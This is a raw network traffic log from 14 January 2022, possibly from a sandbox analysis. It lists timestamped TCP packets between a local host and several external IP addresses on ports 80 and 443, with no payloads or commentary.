Jan 14, 2022 20:29:59.748536110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748552084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748575926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748615980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748637915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748656034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748697042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748712063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748733997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748774052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748788118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748812914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748851061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748867035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748889923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748928070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748949051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748970032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749023914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749031067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.749062061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749102116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749115944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.749140978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749177933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749196053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.749218941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.749274015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760423899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760468960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760509014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760535955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760549068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760588884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760603905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760628939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760669947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760684013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760706902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760746956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760761976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760786057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760824919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760838985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760864973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760917902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.760931969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.760956049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.761007071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.793802977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.793867111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.793939114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807142019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807318926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807420969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807470083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807512999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807566881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807571888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807610989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807648897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807667971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807687044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807725906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807744026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807766914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807806969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807821989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807843924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807884932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807900906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.807924032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807960987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.807976961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808000088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808038950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808053017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808084965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808140993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808144093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808186054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808240891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808279991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808320999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808361053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808377981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808398962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808438063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808454990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808475971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808516026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808532000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808561087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808610916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808618069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808651924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808691978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808706999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808729887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808769941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808784008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808808088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808846951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808861971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808887005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808923960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.808942080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.808964014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809004068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809017897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.809041023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809081078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809096098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.809118032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809158087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.809173107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819020987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819065094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819104910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819128036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819145918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819179058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819185019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819226027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819242954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819267035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819304943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819323063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819344997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819385052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819397926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819423914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819463968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819480896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819502115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819540977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819555998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.819581032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.819633007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.852060080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.852113008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.852204084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867454052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867501974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867539883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867578030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867616892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867615938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867651939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867669106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867707968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867733955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867747068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867786884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867801905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867824078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867862940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867880106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867902040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867939949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.867959976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.867980003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.868012905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.868036032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.951797962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:00.070776939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:00.114177942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:00.202187061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:00.202264071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:00.369786978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:00.427825928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:02.235335112 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.252772093 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.253176928 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.253432989 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.253443956 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.270720005 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.370840073 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.371238947 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.371515989 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.388776064 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.399821043 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.417084932 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.417159081 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.417366028 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.417402983 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.434544086 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.539963007 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.539997101 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.540066004 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.540273905 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:02.557466030 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:02.560981035 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.659241915 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.659441948 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.659503937 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.757719994 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757741928 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757755041 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757766008 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757778883 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757790089 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757803917 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757819891 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757832050 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757843971 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.757878065 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.757936954 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.757944107 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.757949114 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.855895042 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.855928898 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.855946064 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.855962038 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.855978966 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.855997086 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856090069 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.856142044 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.856795073 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856843948 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856870890 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856900930 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856905937 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.856936932 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856971979 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.856992006 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.856993914 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857012033 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857028008 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.857029915 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857049942 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857065916 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857081890 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857086897 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.857100010 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857116938 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.857117891 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.857136011 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.857172966 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.953934908 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.953954935 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.953973055 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.953989983 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954008102 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954025984 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954066992 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.954103947 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.954186916 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954217911 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954236031 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954253912 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954271078 CET	80	49885	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:02.954273939 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:02.954315901 CET	49885	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:03.265075922 CET	49886	80	192.168.2.4	185.163.45.70
Jan 14, 2022 20:30:04.128122091 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.145349026 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.145574093 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.145584106 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.145880938 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.162782907 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.162911892 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.264194012 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.264211893 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.264307022 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.264532089 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.281604052 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.291512012 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.308820009 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.309060097 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.309251070 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.309276104 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.326556921 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.437495947 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.437776089 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.437803984 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.455075026 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.468173027 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.485600948 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.486962080 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.487051010 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.487061024 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.504371881 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.610953093 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.611052036 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.611264944 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:04.628552914 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:04.646245956 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.646279097 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:04.646418095 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.646815062 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.646831989 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:04.708105087 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:04.708216906 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.710517883 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.710525990 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:04.710855961 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:04.711776972 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:04.753871918 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.286926985 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.286958933 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.286986113 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.287060022 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.287080050 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.287138939 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.287146091 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.287178040 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.287188053 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.287198067 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.287206888 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.287236929 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.287271976 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.310668945 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.310703993 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.310776949 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.310800076 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.310811043 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.311518908 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.311546087 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.311592102 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.311604023 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.311630964 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.311660051 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.334012032 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.334067106 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.334117889 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.334136963 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.334161997 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.334182024 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.335983038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.336025953 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.336055994 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.336067915 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.336096048 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.336118937 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.357753992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.357810020 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.357872963 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.357889891 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.357916117 CET	49890	443	192.168.2.4	144.76.136.153
